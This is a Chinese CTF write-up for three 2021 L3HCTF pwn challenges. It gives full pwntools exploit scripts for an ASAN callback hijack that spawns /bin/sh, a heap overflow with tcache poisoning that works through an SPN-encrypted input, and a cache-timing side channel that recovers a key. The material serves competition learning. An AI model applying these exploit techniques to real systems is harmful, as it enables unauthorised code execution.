2021 L3HCTF Pwn 部分题目 Writeup

2021 L3HCTF Pwn Writeup

4 道题做出了 3 道,还抢到了一个二血。vuln_service没做出来,这是一道 Windows Pwn 题目,好像到比赛结束前最后几个小时才有人解出。

这次比赛出的都是非常规 Pwn 题,做起来感觉十分新鲜。

1. checkin

1.1 程序分析

附件下载

题目描述如下:

Welcome! Here are some confusing cflags:

-fsanitize=address -fsanitize-recover=address -fno-omit-frame-pointer -mno-omit-leaf-frame-pointer -fstack-protector-all -Wl,-z,relro,-z,now

nc 123.60.97.201 9999

程序启用了 clang 的 AddressSanitizer (ASAN) C / C++ 内存错误检测器。ASAN 能够检查程序运行时是否发生内存溢出、UAF 等各种内存错误。

没有开启 PIE:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
ASAN:     Enabled
UBSAN:    Enabled

从 IDA 中可以看出,许多 ASAN 相关的函数和全局变量被直接编译进了程序中。

程序功能位于 pwn 函数,主要逻辑是:

  1. 首先任意地址写 1 个字节;
  2. 然后读取 0x20 字节的输入,并打印出来(若输入长度超过 0x18,ASAN 报告检测到栈溢出);
  3. 最后转跳到用户指定的任意地址。

1.2 解法

感觉是非预期解,因为没有用到读取 0x20 字节这个功能…

主要思路是不断返回main函数实现无限次任意地址写,修改.bss段上的变量,最后调用程序内部的execv函数 get shell。

任意地址写部分的 EXP 代码。注意不能直接转跳到pwn函数上,否则 ASAN 报错。

def arb_write(addr, data):
    for i in range(len(data)):
        v = bytes([data[i]])
        p.sendafter("Welcome! A gift for you:", str(addr+i).ljust(0x20))
        p.send(v)
        p.sendlineafter("Leave a note.", 'a')
        p.sendafter("That's all. Have fun!", p64(0x4F8130)) # main

我的解法利用了两条 gadget 来实现 get shell。

第一条是位于0x4E5EAFexecv gadget,需要控制r15寄存器:

第两条 gadget 比较难找,位于0x4CAE9B

这条 gadget 将r15寄存器指向可写内存地址__sanitizer::common_flags_dont_use (0x4CAE9B 处),然后转跳到函数指针__asan::error_report_callback指向的地址 (0x4CAF67 处)。

另外,__asan::error_message_buffer需要设置为任意可读地址,因为执行 gadget 过程中,程序会调用memcpy__asan::error_message_buffer指向的地址拷贝数据。

__sanitizer::common_flags_dont_use__asan::error_report_callback__asan::error_message_buffer以上三个变量均位于.bss段,可以通过上面的任意地址写原语修改为任意内容。

因此,我们可以得到如下的利用思路:

  1. 任意地址写,修改__sanitizer::common_flags_dont_use"/bin/sh\x00"
  2. 任意地址写,修改__asan::error_report_callback指向 0x4E5EAF (execv gadget);
  3. 任意地址写,修改__asan::error_message_buffer指向.bss段;
  4. 转跳到0x4E5EAF(设置r15 gadget)

最后,程序调用execv("/bin/sh", NULL) get shell。

1.3 EXP

#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)

context(arch="amd64")
context(log_level="debug")

p = remote("123.60.97.201", 9999)
# ~ p = process("./checkin")

def arb_write(addr, data):
    for i in range(len(data)):
        v = bytes([data[i]])
        p.sendafter("Welcome! A gift for you:", str(addr+i).ljust(0x20))
        p.send(v)
        p.sendlineafter("Leave a note.", 'a')
        p.sendafter("That's all. Have fun!", p64(0x4F8130)) # main

BSS	= 0x730B00

# __sanitizer::common_flags_dont_use
arb_write(0x7d5d88, b"/bin/sh\x00")
# __asan::error_report_callback
arb_write(0x744030, p32(0x4E5EAF))
# __asan::error_message_buffer
arb_write(0x743990, p32(BSS))

p.sendafter("Welcome! A gift for you:", str(BSS).ljust(0x20))
p.send(b'A')
p.sendlineafter("Leave a note.", 'a')

p.sendafter("That's all. Have fun!", p64(0x4CAE9B))

p.interactive()

2. spn

2.1 程序分析

附件下载

漏洞是GLIBC 2.27下的堆溢出。只要将shell变量(地址已泄漏)置为非空,即可使用后门 get shell。

不同点是,edit 输入的数据会经过一种 SPN 密码学算法加密:

2.2 解法 & EXP

可以发现这个 SPN 算法以每 2 字节明文为一个分组,采取 ECB 模式进行加密。

通过爆破,可以得到所有 2 字节明文与密文之间的对应关系,然后对输入数据进行编码,从而将正确的数据写入到堆块上。

解决写入的问题后,就能按照常规思路劫持 tcache 将shell变量置为非空,最后 get shell。

生成明密文字典的代码:

from pwn import *
import pickle

PBox = [1, 5, 9, 0xD, 2, 6, 0xA, 0xE, 3, 7, 0xB, 0xF, 4, 8, 0x0C, 0x10]
SBox = [0xE, 4, 0xD, 1, 2, 0xF, 0xB, 8, 3, 0xA, 6, 0xC, 5, 9, 0, 7]
masks = [0x8000, 0x4000, 0x2000, 0x1000, 0x800, 0x400, 0x200, 0x100, 0x80, 0x40, 0x20, 0x10, 8, 4, 2, 1]
key = 0x3A94D63F

def S_Substitution(x):
    v3 = 0
    for i in range(0, 16, 4):
        v3 |= (SBox[((x & 0xFFFF) & (15 << i)) >> i] << i) & 0xFFFF
        v3 &= 0xFFFF
    return v3

def P_Substitution(x):
    v3 = 0
    for i in range(0, 16):
        if (x & (0x8000 >> (PBox[i] - 1))):
            v3 |= masks[i]
            v3 &= 0xFFFF
    return v3

def int8_to_uint16(x):
    return u16(p16(u8(chr(x), sign=1), sign=1))

def encrypt(x):
    res = []

    k_0 = (key >> 16) & 0xFFFF
    k_1 = (key >> 12) & 0xFFFF
    k_2 = (key >> 8)  & 0xFFFF
    k_3 = (key >> 4)  & 0xFFFF
    k_4 = (key)       & 0xFFFF

    for i in range(0, len(x), 2):
        a = (int8_to_uint16(x[i]) + (int8_to_uint16(x[i + 1]) << 8)) & 0xFFFF
        b = S_Substitution((a ^ k_0))
        c = P_Substitution(b)
        d = S_Substitution((c ^ k_1))
        e = P_Substitution(d)
        f = S_Substitution((e ^ k_2))
        g = P_Substitution(f) ^ k_3
        h = S_Substitution(g)
        res.append((h ^ k_4) & 0xFF)
        res.append(((h ^ k_4) >> 8) & 0xFF)

    return bytes(res)

DICT = {}
for i in range(0x10000):
    v = u16(encrypt(p16(i)))
    if v not in DICT.keys():
        DICT[v] = [i, ]
    else:
        DICT[v].append(i)

with open("DICT", "wb") as fp:
    pickle.dump(DICT, fp)

EXP 代码:

#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)

context(arch="amd64")
context(log_level="debug")

def add(idx, sz):
    p.sendlineafter("0.exit", '1')
    p.sendlineafter(":", str(sz))
    p.sendlineafter(":", str(idx))

def edit(idx, ctx):
    p.sendlineafter("0.exit", '2')
    p.sendlineafter(":", str(idx))
    p.sendlineafter("Size", str(len(ctx)))
    p.sendafter("Content", ctx)

def free(idx):
    p.sendlineafter("0.exit", '3')
    p.sendlineafter(":", str(idx))

def backdoor():
    p.sendlineafter("0.exit", '5')

import pickle
with open("DICT", "rb") as fp:
    DICT = pickle.load(fp)

def enc(x):
    x += b'\x00' * (len(x) % 2)
    res = b''
    for i in range(0, len(x), 2):
        res += p16(DICT[u16(x[i:i+2])][0])
    return res

p = remote("124.71.194.126", 9999)
# ~ p = process("./SPN_ENC")

p.recvuntil("gift:")
shell = int(p.recvline().strip(), 16)
info("shell: 0x%lx", shell)

add(0, 0x10)
add(1, 0x100)
add(2, 0x100)

free(2)
free(1)

edit(0, enc(b'\x00'*0x10 + p64(0) + p64(0x111) + p64(shell)))

add(3, 0x100)
add(4, 0x100)

edit(4, enc(p16(0xffff)))

backdoor()

p.interactive()

3. slow-spn

3.1 程序分析

附件下载

其实题目本身还是挺好玩的,只是爆破和推测比较麻烦。

首先程序加载 2 字节的明文 p 和 3 字节的密钥 k

然后进行 SPN 加密。其中每次访问ss_boxss_box数组的元素之前,将待访问元素的内存地址传递给__cacheCB函数:

__cacheCB函数可以进行以下操作:

  1. 输入 access_addrspeed,执行__maccess(access_addr, speed)
  2. 执行++tick; __maccess(addr, 0)
  3. 退出程序;
  4. 执行++tick; __maccess(addr, 1)

其中tick是一个全局变量,可以视为当前访问时间。

__maccess函数实现了程序内置的缓存机制(只做映射和记录访问时间,不做读写等其他操作)。

缓存块 Map caches 最多可以储存 0x20 个缓存块(CacheLine对象)。

每个缓存块有三种参数:

  • line 表示缓存块的编号;
  • tag 用于标记当前缓存的内存地址;
  • last_used 记录上次访问该缓存的时间。

其中内存地址addrlinetag之间的关系如下:

  • line = (addr >> 5) & 0x1F
  • tag = addr >> 10

可知每个缓存块一共可以映射 2 ^ 5 = 32 个不同的内存地址,对应 8 个 32 位整数。

缓存内存地址的流程如下:

  1. 首先提取内存地址的linetag,获取caches[line]元素;
  2. 若元素非空且linetag一致,更新缓存块的last_usedtick,退出函数;
  3. 其他情况,首先判断caches的大小是否超过 0x20,若是删除cacheslast_used最小的缓存块;
  4. 最后按照linetag创建新的缓存块,储存在caches[line]上。

此外,若__maccess的第二个参数isFast为零时,创建新的缓存块时会sleep(1)

3.2 解法

isFast为零时,我们可以通过时间来判断是否创建了新的缓存块(换句话说就是是否缓存命中)。若能够缓存某个未知的内存地址,通过该方法我们可以推算出对应缓存块的linetag,从而计算出这个未知内存地址的大致范围。

因此,我们可以推算出 SPN 加密时访问ss_boxss_box元素的内存地址,然后减去基址得到内部的状态值,最后利用它们恢复明文和密钥。

3.2.1 猜测 linetag

下面以猜测第一个状态值p为例。

from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)

context(log_level="error")

ss_box = 0x645110
p_box  = 0x605110

p = None

def new_conn():
    global p
    if p:
        p.close()
        p = None
    p = remote("124.71.173.176", 9999)

def maccess(addr, speed):            
    p.sendlineafter("What to do?", '1')
    p.sendlineafter("Where?", str(addr))
    p.sendlineafter("Speed up?", str(speed))    

def maccess_addr(skip):
    if skip:            
        p.sendlineafter("What to do?", '4')
    else:
        p.sendlineafter("What to do?", '2')

首先猜测&ss_box[p]line

for L in range(0x20):
    # 创建新的连接
    new_conn()

    # 填充填满缓存,line=0, 1, 2, ..., 0x1f, tags = 0
    for line in range(0x20):
        addr = line << 5
        maccess(addr, 1)

    # 缓存 &ss_box[p]
    maccess_addr(1)

    # 设 isFast=0,测试 line=L 的缓存是否被改动
    addr = L << 5
    maccess(addr, 0)

    # 记录访问缓存时间
    st = time.time()
    p.recvuntil("What to do?")
    tt = time.time() - st

    print(f"line={L} => {tt}")

结果如下。除了line=0,只有line=29的时间超过1(即原有的缓存块被&ss_box[p]的代替了),因此可以推出&ss_box[p]缓存的line29

line=0 => 1.437652587890625
line=1 => 0.05334758758544922
line=2 => 0.05812478065490723
line=3 => 0.05626940727233887
line=4 => 0.05224442481994629
line=5 => 0.05900454521179199
line=6 => 0.06533241271972656
line=7 => 0.06871199607849121
line=8 => 0.06755805015563965
line=9 => 0.06142616271972656
line=10 => 0.060669660568237305
line=11 => 0.06068015098571777
line=12 => 0.06043267250061035
line=13 => 0.060537099838256836
line=14 => 0.18114805221557617
line=15 => 0.06032705307006836
line=16 => 0.07859230041503906
line=17 => 0.06040787696838379
line=18 => 0.0610356330871582
line=19 => 0.05806779861450195
line=20 => 0.05977463722229004
line=21 => 0.06037282943725586
line=22 => 0.06166815757751465
line=23 => 0.07347869873046875
line=24 => 0.07869768142700195
line=25 => 0.06096649169921875
line=26 => 0.06134486198425293
line=27 => 0.06112265586853027
line=28 => 0.058809757232666016
line=29 => 1.119048833847046
line=30 => 0.0582425594329834
line=31 => 0.060294151306152344

接下来猜测tags

首先获取所有ss_box元素可能的tag

base = ss_box
line = 29

tags = []
for addr in range(base, base+0x40000, 4):
    if (addr >> 5) & 0x1F == line:
        tag = addr >> 10
        if not tag in tags:
            tags.append(tag)

然后逐一爆破即可,一共需要爆破 256 次:

for i in range(len(tags)):
    new_conn()

    # 缓存 &ss_box[p]
    maccess_addr(1)

    # 设 isFast=0,测试缓存是否命中
    addr = (line << 5) + (tags[i] << 10)
    maccess(addr, 0)

    # 记录访问缓存时间
    st = time.time()
    p.recvuntil("What to do?")
    tt = time.time() - st

    print(f"tag={tags[i]} => {tt}")

根据结果,只有当tag=6436的时间不超过1(恰好命中&ss_box[p]的缓存),因此可以推出&ss_box[p]缓存的tag6436

tag=6420 => 1.3517262935638428
tag=6421 => 1.3701674938201904
tag=6422 => 1.1290912628173828
tag=6423 => 1.1635472774505615
tag=6424 => 1.7297284603118896
tag=6425 => 1.3870885372161865
tag=6426 => 1.497328281402588
tag=6427 => 1.1404621601104736
tag=6428 => 1.2946512699127197
tag=6429 => 1.1146717071533203
tag=6430 => 1.289802074432373
tag=6431 => 1.617581844329834
tag=6432 => 1.2620739936828613
tag=6433 => 1.2836086750030518
tag=6434 => 1.1681303977966309
tag=6435 => 1.273608684539795
tag=6436 => 0.0708317756652832
tag=6437 => 1.114633560180664
tag=6438 => 1.3979425430297852
tag=6439 => 1.420658826828003
......

综上得到&ss_box[p]linetag分别为296436,对应内存地址范围为0x6493a0~0x6493c0

line = 29
tag  = 6436
base = ss_box
saddr = (line << 5) + (tag << 10)

for addr in range(saddr, saddr+32, 4):
	print(hex((addr-ss_box)//4))

减去ss_box基址和取 32 位整数地址后,可以得到p的可能取值为:

0x10a4
0x10a5
0x10a6
0x10a7
0x10a8
0x10a9
0x10aa
0x10ab

按照上面的方法,可以逐一得到除&p_box[v4]之外的元素地址缓存linetag

&ss_box[p]  : (6436, 29)
&p_box[v10] : (6242, 21)
&ss_box[v9] : (6493, 13)
&p_box[v8]  : (6207, 4)
&ss_box[v7] : (6427, 26)
&p_box[v6]  : (6396, 15)
&ss_box[v5] : (6577, 17)

计算出下列状态值的可能取值(每个缓存块可以映射 8 个 32 位整数的地址):

p       v10     v9      v8      v7     v6      v5
0x10a4  0x4e64  0x4924  0x2adc  0x78c  0xe834  0x9d44  
0x10a5  0x4e65  0x4925  0x2add  0x78d  0xe835  0x9d45  
0x10a6  0x4e66  0x4926  0x2ade  0x78e  0xe836  0x9d46  
0x10a7  0x4e67  0x4927  0x2adf  0x78f  0xe837  0x9d47  
0x10a8  0x4e68  0x4928  0x2ae0  0x790  0xe838  0x9d48  
0x10a9  0x4e69  0x4929  0x2ae1  0x791  0xe839  0x9d49  
0x10aa  0x4e6a  0x492a  0x2ae2  0x792  0xe83a  0x9d4a  
0x10ab  0x4e6b  0x492b  0x2ae3  0x793  0xe83b  0x9d4b

3.2.2 推导 pk

首先根据以下式子筛选pv6v7v8v9v10

v10 = ss_box[p];
v8 = ss_box[v9];
v6 = ss_box[v7];

然后根据筛选结果计算k >> 8(k8)和k >> 4(k4)和k & 0xFFFF(k0):

v9 = p_box[v10] ^ (k >> 8);
v7 = p_box[v8] ^ (k >> 4);
v5 = p_box[v6] ^ k;

由于k8k4k0均由k位移得到,中间肯定存在重合的字节。

k  = 0x123456
k0 =   0x3456
k4 =  0x2345
k8 = 0x1234

根据这个特性,我们可以筛选出唯一的k8k4。无法确定唯一的k0,因为我们获取不了题目最后一个状态值v4

通过k8找到唯一的v10,然后根据ss_box可以找到p

v9 = p_box[v10] ^ (k >> 8);
v10 = ss_box[p];

最终结果如下。

p = 0x10a7
k = 0x1745e4 0x1745e5 0x1745e6 0x1745e7 0x1745e8 0x1745e9 0x1745ea 0x1745eb

题目描述说不必算出准确值。最后使用p = 0x10a7, k = 0x1745e7 得到了 flag。

3.3 EXP

爆破 linetag 的代码:

#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)

context(log_level="error")

ss_box = 0x645110
p_box  = 0x605110

p = None

def new_conn():
    global p
    if p:
        p.close()
        p = None
    p = remote("124.71.173.176", 9999)

def maccess(addr, speed):            
    p.sendlineafter("What to do?", '1')
    p.sendlineafter("Where?", str(addr))
    p.sendlineafter("Speed up?", str(speed))    

def maccess_addr(skip):
    if skip:            
        p.sendlineafter("What to do?", '4')
    else:
        p.sendlineafter("What to do?", '2')

def guess_cache(stage, base):
    T = []
    with open(f"guess_lines_{stage}", "wb") as fp:
        for L in range(0x20):
            new_conn()

            for _ in range(stage):
                maccess_addr(1)

            for line in range(0x20):
                maccess(line << 5, 1)

            maccess_addr(1)

            maccess(L << 5, 0)
            st = time.time()
            p.recvuntil("What to do?")
            tt = time.time() - st

            out = f"stage={stage} line={L} => {tt}"
            print(out)
            fp.write(out.encode() + b"\n")

            T.append(tt)
    line = 0
    for i in range(1, 0x20):
        if T[i] >= 1:
            line = i
            break

    tags = []
    for addr in range(base, base+0x40000, 4):
        if (addr >> 5) & 0x1F == line:
            tag = addr >> 10
            if not tag in tags:
                tags.append(tag)
    T = []
    with open(f"guess_tag_{stage}", "wb") as fp:
        for i in range(len(tags)):
            new_conn()

            for _ in range(stage+1):
                maccess_addr(1)

            addr = (line << 5) + (tags[i] << 10)
            maccess(addr, 0)

            st = time.time()
            p.recvuntil("What to do?")
            tt = time.time() - st

            out = f"stage={stage} line={line} tag={tags[i]} => {tt}"
            print(out)
            fp.write(out.encode() + b"\n")

            T.append(tt)

    for i in range(len(tags)):
        if T[i] < 1:
            tag = tags[i]
            print(f"stage={stage} => tag={tag} line={line}")
            return (tag, line)

_p  = guess_cache(0, ss_box)
v10 = guess_cache(1, p_box)
v9  = guess_cache(2, ss_box)
v8  = guess_cache(3, p_box)
v7  = guess_cache(4, ss_box)
v6  = guess_cache(5, p_box)
v5  = guess_cache(6, ss_box)

C = [_p, v10, v9, v8, v7, v6, v5]
print(C)

计算 pk 的代码:

#!/usr/bin/env python3
from itertools import *
import pickle

with open("ssbox", "rb") as fp:
    __ss_box = pickle.load(fp)
with open("pbox", "rb") as fp:
    __pbox = pickle.load(fp)

ss_box = 0x645110
p_box  = 0x605110

C = [(6436, 29), (6242, 21), (6493, 13), (6207, 4), (6427, 26), (6396, 15), (6577, 17)]

def get_values(cache, base):
    tag, line = cache
    b = ((line << 5) + (tag << 10) - base) // 4
    return [b + i for i in range(8)]

p   = get_values(C[0], ss_box)
v10 = get_values(C[1], p_box)
v9  = get_values(C[2], ss_box)
v8  = get_values(C[3], p_box)
v7  = get_values(C[4], ss_box)
v6  = get_values(C[5], p_box)
v5  = get_values(C[6], ss_box)

def do_filter(check_func, *elemts):
    filtered = list(filter(check_func, product(*elemts)))
    res = []
    for i in range(len(elemts)):
        res.append(list(set(map(lambda x : x[i], filtered))))
    return res
"""
v10 = ss_box[p];
v8 = ss_box[v9];
v6 = ss_box[v7];
"""
S_chk = lambda x : __ss_box[x[1]] == x[0]
v10, p = do_filter(S_chk, v10, p)
v8, v9 = do_filter(S_chk, v8, v9)
v6, v7 = do_filter(S_chk, v6, v7)

"""
v9 = p_box[v10] ^ (k >> 8);
v7 = p_box[v8] ^ (k >> 4);
v5 = p_box[v6] ^ k;
"""
P_xor  = lambda x, y : [a ^ __pbox[b] for a, b in product(x, y)]
k0 = P_xor(v5, v6)
k4 = P_xor(v7, v8)
k8 = P_xor(v9, v10)

"""
k  = 0x123456
k0 =   0x3456
k4 =  0x2345
k8 = 0x1234
"""
k_chk = lambda x : (x[2] & 0xFFF) == (x[1] >> 4) and (x[1] & 0xFFF) == (x[0] >> 4)
k0, k4, k8 = do_filter(k_chk, k0, k4, k8)
assert len(k4) == len(k8) == 1

"""
v9 = p_box[v10] ^ (k >> 8);
"""
k_xor = lambda x : x[1] == __pbox[x[0]] ^ k8[0]
v10, v9 = do_filter(k_xor, v10, v9)
assert len(v10) == len(v9) == 1

"""
v10 = ss_box[p];
"""
p = __ss_box.index(v10[0])

print(f"p = {hex(p)}")
print("k = ", end='')
for x in k0:
    k = (k8[0] << 8) + (x & 0xff)
    print(f"{hex(k)} ", end='')
print()

Comments